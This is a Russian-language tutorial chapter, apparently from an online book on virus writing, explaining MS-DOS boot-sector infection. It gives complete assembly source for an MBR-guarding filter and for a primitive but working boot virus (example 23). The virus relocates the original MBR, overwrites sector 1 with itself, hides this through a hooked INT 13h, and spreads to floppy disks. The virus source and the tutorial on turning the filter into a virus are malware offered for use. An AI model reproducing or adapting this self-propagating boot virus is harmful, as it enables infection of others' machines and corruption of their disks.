"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Подобный материал:
1   ...   8   9   10   11   12   13   14   15   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



гл.15 В КОТОРОЙ ВЫ УЗНАЕТЕ О ПРОКЛЯТИИ MSDOS -- БУТОВЫХ ВИРУСАХ

(совершенно новая тема)

============================================================================


СРАЗУ ЖЕ ПРЕДУПРЕДИМ ВАС, что работа в данной области сопряжена с повы-

шенной опасностью. => Вы должны, если решитесь что-либо предпринять, прояв-

лять крайнюю осторожность.

Вот какие минимальные правила техники безопасности мы бы Вам рекомендо-

вали: при помощи программы diskeditor из нортоновских утилит перепишите на

специальную дискету (в виде файлов) такие объекты ЖЕСТКОГО ДИСКА как Boot

Record и Partition Table (они придставлены в меню diskeditor-а). Если Вы слу-

чайно повредите эти объекты во время своего эксперимента, при помощи того же

diskeditor-а (предварительно загрузившись с системной дискеты) Вы можете их

восстановить (записать соответствующие файлы в область Boot Record или MBR).

Более того, когда Вы вольно работаете с прерыванием 13h, иногда полезно быва-

ет сохранять подобным образом даже FAT.


Расскажем, не вдаваясь в излишние подробности о логической структуре

жесткого диска (HDD). HDD разбит на разделы, называемые логическими дисками.

На каждом из разделов в принципе может обитать своя операционная система.

Каждый такой раздел имеет специальный загрузочный сектор, который, в случае

если раздел имеет свою систему, хранит программу ее загрузки. Кроме разделов

HDD имеет специальный трэк (дорожку), не доступный для пользователя MS-DOS;

т.н. скрытый трэк.

А как PC узнает, на каком из разделов находится система и как он ее заг-

рузит? Дело в том, что на скрытом трэке, в самом его начале (цилиндр 0, сто-

рона 0, сектор 1) находится специальная крохотная программа-загрузчик (Master

Boot-Record (MBR)), которая анализирует, - какой из разделов имеет систему

(является активным) и передает управление загрузчику этой системы.

Теперь по-подробнее, -- как происходит процесс загрузки PC.

1) Вы включили электропитание;

2) Специальные подпрограммы BIOS-а, сидящие в ПЗУ, тестируют память

и прочее железо;

3) Специальная подпрограмма BIOS-а считала с HDD самый первый сектор

скрытого трэка (MBR) и передела ей управление. (MBR была считана

по адресу 0000:7C00h);

4) MBR хранит в себе специальную таблицу (Partition Table), в которой

говорится, на каком из разделов HDD сидит система;

MBR анализирует эту таблицу, определяет активный раздел, после чего

5) MBR считывает в память (по адресу 0000:7C00h) загрузчик системы,

(он находится на диске в начале соответствующего раздела) и передает

ему управление;

6) Загрузчик системы (Boot Record (BR)) загружает в память системные

файлы и передает им управление;

7) далее инициализируются драйверы из config.sys; запускается

COMMAND.COM и стартует autoexec.bat;


Достаточно долгий и нудный процесс. Но бутовые вирусы себя особо не ут-

руждают. Когда бутовый вирус заражает компьютер, он переписывает либо MBR,

либо -- BR в какое-либо другое место (как правило -- в пределах скрытого трэ-

ка), а сам -- садится на их место. Когда в следующий раз включат зараженный

PC, при выполнении пункта 3 (или 5) вместо MBR (или BR) в память по адресу

0000:7C00h будет считан и получит управление вирус. Он по специальному меха-

низму посадит резидент и после этого загрузит по адресу 0000:7C00h MBR (или

BR) и передаст ей управление. Вирус как бы вклинился в процесс загрузки; стал

в нем посредником.

Чаще вирусы нападают на BR, нежели на MBR. Это связано с рядом причин.

Во-первых в процессе загрузки системы к MBR обращаются не единожды (читаются

данные из Partition Table); т.о. вирус, либо должен оставить в неприкосновен-

ности Partition Table, либо -- включить в свою резидентную процедуру

СТЭЛС-блок, каждый раз, когда идет запрос на чтение сектора 001, подсовыва-

ющий сохраненную где-то истинную MBR. Во-вторых даже при визуальном контроле

(если вы загрузитесь с системной дискеты и посмотрите на сектор 001) в MBR

легче обнаружить присутствие вируса, т.к. "здоровая" MBR занимает лишь около

1/3 сектора, остальное -- пустота.

Встает вопрос: каким образом бутовые вирусы заражают PC? Есть 2 способа.

Во-первых вирус может быть не чисто бутовым, а бутово-файловым; т.е. заражать

как MBR (BR), так и EXE- и COM-файлы. С компьютера на компьютер он переносит-

ся в файле. Во-первых вирус может внедряться в Boot Record-ы гибких дисков.

Пользователь нередко забывает извлечь дискету из дисковода перед перезагруз-

кой PC. Если это случится, PC пробует загрузить систему с дискеты. Тут-то и

вылезает вирус.

Теперь опишем механизм посадки резидента (он отличается от всех рассмот-

ренных нами ранее).

Мы уже пользовались областью данных BIOS. В ячейке с адресом 0040:0134h

мы хранили флажок наличия резидентной копии вируса в памяти. Но помимо пустых

ячеек, которые мы можем использовать в своих целях, область данных BIOS со-

держит ячейки, хранящие очень важную информацию. В наших изысканиях нас будет

интересовать ячейка с адресом 0000:0413h. Здесь хранится величина свободной

памяти PC (одно слово). Выражается эта величина в килобайтах. В момент, когда

файлы MS-DOS загружаются в память, загрузка эта выполняется с учетом величины

свободной памяти. Если перед началом загрузки DOS уменьшить слово по адресу

0000:0413h, то после загрузки память будет распределена так, что появится

свободная область, потерянная для DOS. Ее размер = величине, на которую мы

уменьшили слово по адресу 0000:0413h (в килобайтах). В эту область мы и можем

посадить наш резидент. Весь фрагмент посадки резидента будет выглядеть так:


XOR AX,AX ;¬

MOV DS,AX ;¦DS=0

MOV AX,word ptr DS:[0413h] ;¦уменьшаем количество свободной

DEC AX ;¦памяти на 1 Kб

MOV word ptr DS:[0413h],AX ;-

;

MOV CL,06 ;¬вычисляем сегментный адрес

SHL AX,CL ;+свободного участка памяти

MOV ES,AX ;-

;

MOV AX,rezident_segment ;¬

MOV DS,AX ;¦пересылаем в захваченную

MOV SI,rezident_offset ;¦нами область код резидента

XOR DI,DI ;¦ (здесь это - 1 Кб)

MOV CX,0100h ;¦

CLD ;¦

REPNE MOVSW ;-


Ниже мы приводим программу, которая является, по-сути, фильтром предох-

раняющим компьютер от бутовых вирусов. Этот фильтр, подобно бутовому вирусу,

записывается (но только не сам по себе, а -- программистом) в сектор 0 0 1

(MBR при этом заблаговременно перемещается нами в сектор 0 0 7). В момент

загрузки фильтр сажает резидент на прерывание 13h. Как только бутовый вирус

попытается заразить PC (будет дано прерывание 13h -- запись в сектор 0 0 1

или 0 1 1) -- фильтр приостановит работу PC и выдаст предупреждение. После

этого PC будет автоматически перезагружен при помощи команды

JMP__far_0FFFF0000h (по этому адресу находится подпрограмма BIOS, осуществля-

ющая перезагрузку). Фильтр реализует стэлс-механизм сектора 0 0 1 (при попыт-

ке считать оттуда информацию мы получаем истинную MBR).

Вот блок/схема программы:


--инициализационная часть-¬ _/блок обработки прерывания 13h\_

-------------------------------------¬ -------------------------------------¬

¦ установка стека: SS=0, SP=7C00h ¦ ¦ читаеся сектор 0 0 1 HDD? если да -¦

¦(сам код начинается по 0000:7C00h) ¦ ¦подсовываем вместо него сектор 0 0 7¦

L-----------------T------------------- ¦(истинную MBR,загодя там сохраненную)

¦ L-----------------T-------------------

------------------+------------------¬ ¦

¦ уменьшаем слово по адресу 0:413h ¦ ------------------+------------------¬

L-----------------T------------------- ¦кто-то пытается что-то записать в ¦

¦ ¦сектор 0 0 1? да -- идем на объявле-¦

------------------+------------------¬ ¦ние тревоги >>-----------------------¬

¦ пересылаем резидент в освободив- ¦ L-----------------T-------------------¦

¦ шуюся область ¦ ¦ ¦

L-----------------T------------------- ------------------+------------------¬¦

¦ ¦кто-то пытается что-то записать в ¦¦

------------------+------------------¬ ¦сектор 0 1 1? нет - идем на IRET >>--¦¬

¦ делаем JMP far на продолжение кода ¦ L-----------------T-------------------¦¦

¦ уже в резиденте ¦ ¦<-------------------¦

L-----------------T------------------- ------------------+------------------¬ ¦

¦ ¦ объявление тревоги и перезагрузка ¦ ¦

------------------+------------------¬ ¦ PC (JMP far FFFF0000h) ¦ ¦

¦ перехватываем вектор прерывания ¦ L------------------------------------- ¦

¦ 13h ¦ -----------¬<--------------

L-----------------T------------------- ¦ IRET ¦

¦ L-----------

------------------+------------------¬

¦ считываем по адресу 0000:7C00h ¦

¦ истинную MBR (она была записана ¦

¦ в сектор 0 0 7) ¦

L-----------------T-------------------

¦

------------------+------------------¬

¦ делаем JMP far на 0000:7C00h ¦

¦ (отдаем управл-е истинной MBR) ¦

L-------------------------------------


Довольно-таки простая конструкция.

А вот и сама программа:


-----------------------------------------------------------¬

¦ пример 22 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N23 -- примитивный антивирусный фильтр

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

; ;внимание! -- при имплан-

; ; тации в область MBR

; ; сектор должен заканчиваться

; ; сигнатурой 55AAh

; ;

Code_begining:CLI ;¬ установка стека:

XOR AX,AX ;+SS:SP = 0000:7C00

MOV SS,AX ;¦

MOV SP,7C00h ;-

MOV SI,SP ;SI = 7C00

MOV DS,AX ;DS = 0

STI

;

MOV AX,word ptr DS:[0413h] ;¬уменьшаем количество сво-

DEC AX ;¦ бодной памяти на 1 Kб

MOV word ptr DS:[0413h],AX ;-

MOV CL,06 ;¬вычисляем сегментный адрес

SHL AX,CL ;¦свободного участка памяти

MOV ES,AX ;-

XOR DI,DI ;DI = 0

MOV CX,0100h ;¬пересылаем в захваченную

CLD ;+нами область код резидента

REPNE MOVSW ;- (здесь это - 1 Кб)

;

PUSH ES ;¬

MOV AX,Continue_work-Code_begining;+JMP Far на продолжение

PUSH AX ;¦ кода уже в резиденте

RETF ;-

;

;-------перехват вектора прерывания 13h----------------------¬

Continue_work:MOV AX,word ptr DS:[4Ch] ¦

MOV word ptr ES:[jmp_old_int13-Code_begining+1],AX ¦

MOV AX,word ptr DS:[4Eh] ¦

MOV word ptr ES:[jmp_old_int13-Code_begining+3],AX ¦

CLI ¦

MOV word ptr DS:[4Ch],Resident13_begining-Code_begining ¦

MOV word ptr DS:[4Eh],ES ¦

STI ¦

;-------------------------------------------------------------

;

;-----загрузка истин. MBR и передача управления ей-----------¬

MOV DX,0080h ;¬ side 0 disk 1 ¦

MOV CX,0007h ;¦ cyl 0 sect 7 ¦

MOV BX,7C00h ;¦ ¦

XOR AX,AX ;¦ ¦

MOV ES,AX ;+загружаем MBR по адресу¦

MOV AX,0201h ;¦ 0000:7C00h ¦

INT 13h ;- ¦

DB 0EAh,00,7Ch,00,00 ;JMP far 0000:7C00h ¦

;-------------------------------------------------------------

;

;-----процедура обработки прерывания 13h---------------------¬

Resident13_begining: ¦

CMP CX,0001h ;¬ ¦

JNE jmp_old_int13 ;¦ ¦

CMP DX,0080h ;¦реализация стэлс-меха- ¦

JNE may_by_boot ;¦низма: читающий сектор ¦

CMP AH,02 ;¦0 0 1, получает истин. ¦

JNE may_by_write ;¦MBR ¦

MOV CX,0007h ;- ¦

JMP Short jmp_old_int13 ; ¦

; ¦

may_by_boot: CMP DX,0180h ;¬ ¦

JNE jmp_old_int13 ;¦ ¦

may_by_write: CMP AH,03 ;¦отслеживание попытки ¦

JNE jmp_old_int13 ;¦записать что-то в ¦

MOV AX,3 ;¦сектор 0 0 1 -- MBR ¦

INT 10h ;¦или -- 0 1 1 -- BR ¦

PUSH CS ;- ¦

POP DS ;¬ ¦

MOV AH,9 ;¦печать предупруждения ¦

MOV DX,admonition - Code_begining ;¦о попытки записи ¦

INT 21h ;- ¦

XOR AX,AX ;¬ожидание нажатия клавиши

INT 16h ;- ¦

DB 0EAh,00,00,0FFh,0FFh ;JMP far FFFF:0000h ¦

jmp_old_int13: ;¬здесь будет адрес старого

; ;¦ обработчика INT 13h ¦

DB 0EAh,00,00,00,00 ;-JMP far ????:????h ¦

; ¦

; ¦

admonition: DB 'System area writing attempt !!!',0Dh,0Ah ¦

DB 'Remove floppy disks & press any key...$' ¦

Resident_ending:------------------------------------------------------------

;

;

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Что здесь новенького? Новое прерывание. Прерывание BIOS INT 16h (функция

0) -- ввод с клавиатуры. Когда дается это прерывание, PC замирает и ждет на-

жатия клавиши. После нажатия клавиши соответствующий ASCII символ помещается

в AL, а в AH устанавливается скэн-код. В этом примере прерывание 16 использу-

ется просто для создания паузы -- ожидание нажатия любой клавиши. Еще здесь

показана функция 9 прерывания 21h -- печать строки символов. С этой функцией

мы уже встречались (см. пример 10). Напомним лишь кратко, что печатаемая

строка символов обязательно должна заканчиваться символом "$". Ее адрес дол-

жен быть загружен в пару регистров DS:DX.

Удивительно, с какой легкостью показанный выше антивирус может превра-

титься в полноценный (правда, - довольно примитивный) бутовый вирус. Изменить

надо лишь чуть-чуть. Вот блок/схема; сравните:


--инициализационная часть-¬ _/резидентная часть\_

------------------------------------¬ -------------------------------------¬

¦ установка стека: SS=0, SP=7C00h ¦ ¦ читаеся сектор 0 0 1 HDD? если да -¦

¦(сам код начинается по 0000:7C00h) ¦ ¦подсовываем вместо него сектор 0 0 7¦

L-----------------T------------------ ¦(истинную MBR,загодя там сохраненную)

¦ L-----------------T-------------------

------------------+-----------------¬ ¦

¦ уменьшаем слово по адресу 0:413h ¦ ------------------+------------------¬

L-----------------T------------------ ¦читаееся сектор 0 0 1 дискеты? нет, ¦

¦ ¦уходим на IRET >>--------------------¬

------------------+-----------------¬ L-----------------T-------------------¦

¦ пересылаем резидент в освободив- ¦ ¦ ¦

¦ шуюся область ¦ ------------------+------------------¬¦

L-----------------T------------------ ¦включен ли мотор дисковода? да, -- ¦¦

¦ ¦уходим на IRET >>-------------------->

------------------+-----------------¬ L-----------------T-------------------¦

¦ делаем JMP far на продолжение кода¦ ¦ ¦

¦ уже в резиденте ¦ ------------------+------------------¬¦

L-----------------T------------------ ¦записываем код вируса в сектор 0 0 1¦¦

¦ ¦дискеты ¦¦

------------------+-----------------¬ L-----------------T-------------------¦

¦ считываем по адресу 0000:7C00h ¦ ---+--¬ ¦

¦ истинную MBR (она была записана ¦ ¦ IRET¦<----------------

¦ в сектор 0 0 7) ¦ L------

L-----------------T------------------

¦

------------------+-----------------¬

¦ перехватываем вектор прерывания ¦

¦ 13h ¦

L-----------------T------------------

¦

------------------+-----------------¬

¦проверяем, есть ли в считанной MBR ¦

¦сигнатура вируса; если да - обходим¦

¦блок заражения >>--------------------¬

L-----------------T------------------ ¦

¦ ¦

------------------+-----------------¬ ¦

¦переписываем MBR в сектор 0 0 7 ¦ ¦

+-----------------------------------+ ¦

¦записываем код вируса в сектор 001 ¦ ¦

L-----------------T------------------ ¦

¦ ¦

------------------+-----------------¬<-

¦ делаем JMP far на 0000:7C00h ¦

¦ (отдаем управл-е истинной MBR) ¦

L------------------------------------


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



Вот готовая программа:


-----------------------------------------------------------¬

¦ пример 23 ¦:

L-----------------------------------------------------------


.286p

TITLE Это - COM. программа N23 -- примитивный бутовый вирус

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

; ;внимание! -- при имплан-

; ; тации в область MBR

; ; сектор должен заканчиваться

; ; сигнфтурой 55AAh

;

Code_begining:CLI ;¬

XOR AX,AX ;+SS:SP = 0000:7C00

MOV SS,AX ;¦ перед областью

MOV SP,7C00h ;- загруженного кода

MOV SI,SP ;SI = 7C00

MOV DS,AX ;DS = 0

STI ;AX = 0

;

MOV BX,word ptr DS:[0413h] ;¬количество свободной

DEC BX ;+памяти уменшилось на 1 Кб

MOV word ptr DS:[0413h],BX ;-

SHL BX,06 ;TES = сегмент начала свобод-

MOV ES,BX ;- ной памяти

XOR DI,DI ;DI = 0

MOV CX,0100h ;¬

CLD ;+пересылаем данный сектор

REPNE MOVSW ;- в освобожден. область

;

PUSH ES ;¬

MOV BX,Continue_work-Code_begining;+продолжаем выполнение уже

PUSH BX ;¦ в пересланном коде

RETF ;-

;

;

Continue_work:MOV DX,0080h ;¬ side 0 disk 1

MOV CX,0001h ;¦ cyl 0 sect 7

MOV BX,7C00h ;¦

PUSH DS ;¦читаем MBR винчестера

POP ES ;+(001) в буфер по адресу

MOV AX,0201h ;¦ 0000:7C00h

INT 13h ;-

;

MOV AX,word ptr DS:[4Ch] ;сохраняем вектор 21h

MOV word ptr CS:[jmp_old_int13-Code_begining+1],AX

MOV AX,word ptr DS:[4Eh]

MOV word ptr CS:[jmp_old_int13-Code_begining+3],AX

CLI

MOV word ptr DS:[4Ch],Resident13_begining-Code_begining

MOV word ptr DS:[4Eh],CS ;перехватываем вектор 21h

STI

;

;

CMP word ptr ES:[7C0Fh],01E8Bh ;¬

JNE treat_it ;+проверяем, есть ли

CMP word ptr ES:[7C18h],0E3C1h ;¦в MBR сигнатура

JE no_treat_it ;-


treat_it: MOV CX,0007h ;¬

MOV AX,0301h ;+перемещаем оригинальн. MBR

INT 13h ;-

;

PUSH CS ;¬

POP ES ;¦

XOR BX,BX ;+замещаем оригинальн. MBR

MOV CX,0001h ;¦собственным кодом

MOV AX,0301h ;¦

INT 13h ;-


no_treat_it: DB 0EAh,00,7Ch,00,00 ;JMP far 0000:7C00h

;

;

Resident13_begining:

CMP DX,0080h ;¬

JNE no_stealth ;¦

CMP CX,0001h ;+включение

JNE no_stealth ;¦stealth-режима

CMP AH,02h ;¦

JNE no_stealth ;¦

MOV CX,0007h ;¦

JMP short jmp_old_int13 ;-

;

no_stealth: CMP DL,01h ;проверка работы с

JA jmp_old_int13 ; дисководами

PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH ES


XOR AX,AX ;проверяем, включен ли

MOV ES,AX ; уже мотор дисковода

TEST byte ptr ES:[043Fh],1 ;

JNZ motor_started ;


XOR BX,BX ;¬

PUSH CS ;+обработка дискеты

POP ES ;¦

MOV DH,00 ;¦

MOV CX,0001h ;¦

MOV AX,0301h ;¦

PUSHF ;¦

PUSH CS ;-

CALL jmp_old_int13


motor_started:POP ES

POP DX

POP CX

POP BX

POP AX

jmp_old_int13: ;¬возврат управления DOS-у

DB 0EAh,00,00,00,00 ;-JMP far ????:????h

;

;

Resident_ending:

;

;

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Для некоторой оптимизации предусмотрено вот что: резидент заражает дис-

кету только если мотор дисковода еще не включен (самое первое обращение к

дискете).